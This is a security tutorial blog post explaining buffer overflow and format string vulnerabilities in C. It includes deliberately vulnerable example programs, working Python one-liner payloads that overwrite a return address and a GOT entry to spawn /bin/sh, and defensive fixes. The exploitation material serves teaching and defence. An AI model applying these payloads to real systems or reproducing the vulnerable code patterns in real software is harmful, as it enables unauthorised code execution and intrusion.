Death by pointers

Introduction

In this post we will discuss a few widespread types of vulnerabilities related to the insecure use of pointers and how these can be fixed. To be more precise, we will cover buffer overflow and format string vulnerabilities.

Buffer overflows

Generally speaking there are two types of overflows: out-of-bounds read and out-of-bounds write. We shall begin with the more widely known out-of-bounds write.

Out-of-bounds write

An out-of-bounds write occurs when number of copied bytes exceeds the destination buffer size. In consequence, the memory area adjacent to the buffer is overwritten. Depending on the buffer location, overflow depth and control over the copied data, the results range from an uncontrolled program crash to runtime-control of the program.

#include <string.h>

void shell()  
{
    system("/bin/sh");
}

int main(int argc, char** argv)  
{
    char dst[100];
    memcpy(dst, argv[1], strlen(argv[1]));
}
Exploitation

Let us begin by compiling the code. For the sake of simplicity, we will compile it without a stack canary and without the position-independent code option. This will allow us overflowing the buffer without triggering any alarms as well as, due to lack of address randomization on the code segment, to redirect the program flow to a fixed location.

gcc -m32 -fno-stack-protector test.c -o test

In the next step we will exploit the vulnerability. To do so, we first determine the address where you intend to divert the program flow. In our case, this is the address of the shell() function.

nm ./test  
[...]
0804847d T shell  
[...]

Finally, we craft a payload that will overwrite the return address stored on the stack with the address of the shell() function and pass it as an argument to the program.

./test $(python -c 'import struct; print "A"*112 + struct.pack("<I", 0x804847d)')
Out-of-bounds read

An out-of-bounds read occurs when the number of copied bytes exceeds the source buffer size. Depending on the buffer location and overflow depth, the results range from an uncontrolled program crash to information leakage. An example of this can be seen below.

#include <string.h>
#include <stdio.h>

int main(int argc, char** argv)  
{
    char key[10] = { 0x73, 0x65, 0x63, 0x72, 0x65, 0x74, 0x6b, 0x65, 0x79, 0x00 };
    char src[10] = { [0 ... 9] = 0x41 };
    char dst[20];

    memcpy(dst, src, sizeof(dst));
    printf("%s", dst);
}
Exploitation

Once again, if you're interested in seeing the impact of the vulnerability for yourself, just compile and run the program:

gcc -m32 -fno-stack-protector test.c -o test
./test  
AAAAAAAAAAsecretkey
The fix

There are several ways how buffer overflow vulnerabilities can be addressed. One way is to perform bounds checking yourself. To simplify the process and prevent human errors, we recommend implementing an easy-to-use macro that will do most of the heavy lifting:

#define SAFE_MEMCPY(dst, src, dstSize, srcSize, copySize)                  \
{                                                                          \
    if( !ISNEG(copySize) && !ISNEG(srcSize) && !ISNEG(dstSize) &&          \
        !ISNULL(src) && !ISNULL(dst) &&                                    \
        !ISOVERFLOW(copySize, dstSize) && !ISOVERFLOW(copySize, srcSize) ) \
            memcpy(dst, src, copySize);                                    \
}

#define ISNEG(X) (!((X) > 0) && ((X) != 0))
#define ISNULL(X) ((X) == NULL)
#define ISOVERFLOW(X, Y) ((X) > (Y))

Format string vulnerabilities

A format string vulnerability occurs when an attacker obtains control of format string parameters. Depending on the degree of control over the format string and other factors, the results can range from an uncontrolled crash to runtime-control of the program. Note that format string vulnerabilities are particularly severe, since they can be used to perform arbitrary read/write operations.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void shell()  
{
    system("/bin/sh");
}

int main(int argc, char** argv)  
{
    char buf[100];

    if(argc != 2)
        exit(EXIT_FAILURE);

    memcpy(buf, argv[1], sizeof(buf));
    printf(buf);
    printf("Done!\n");
}
Exploitation

Just as before, let us begin by first compiling the code with the default options. These include only one security-relevant option, the stack canary.

gcc -m32 test.c -o test

Each ELF binary contains a section referred to as the Global Offset Table (GOT). Essentially, it stores a set of addresses to external functions, such as the printf() function contained in the standard libc library. By default, unless signalled otherwise during compilation, these addresses are resolved at runtime by the dynamic linker. Since the dynamic linker is allowed to overwrite these values at runtime, so are we. To do so, we first find the location of the printf() function in the GOT table.

readelf -a test | grep printf 
0804a00c 00000107 R386JUMP_SLOT 00000000 printf

Next, we determine the address of the code where we intend to divert the program flow. In our case, this is the address of the shell() function.

nm test | grep shell 
080484cd T shell

Finally, we overwrite the address of the printf() function in the GOT table with the address of the shell() function. This will effecitvely cause the program to jump to it once it is called.

./test $(python -c 'import struct; print struct.pack("<I", 0x804a00c) + struct.pack("<I", 0x804a00d) + struct.pack("<I", 0x804a00e) + struct.pack("<I", 0x804a00f) + "%189x" + "%6$n" + "%183x" +  "%7$n" + "%128x" +  "%8$n" + "%4x" + "%9$n"')

The fix

Since the root of the problem lies in a user-controlled format string, the solution is simple. Do not use user-controlled input for the format string parameter in printf() and other functions from the same family. Hence, for the example above, the fix would look as follows.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void shell()  
{
    system("/bin/sh");
}

int main(int argc, char** argv)  
{
    char buf[100];

    if(argc != 2)
        exit(EXIT_FAILURE);

    memcpy(buf, argv[1], sizeof(buf));
    printf("Buf: %.*s\n", sizeof(buf), buf);
    printf("Done!\n");
}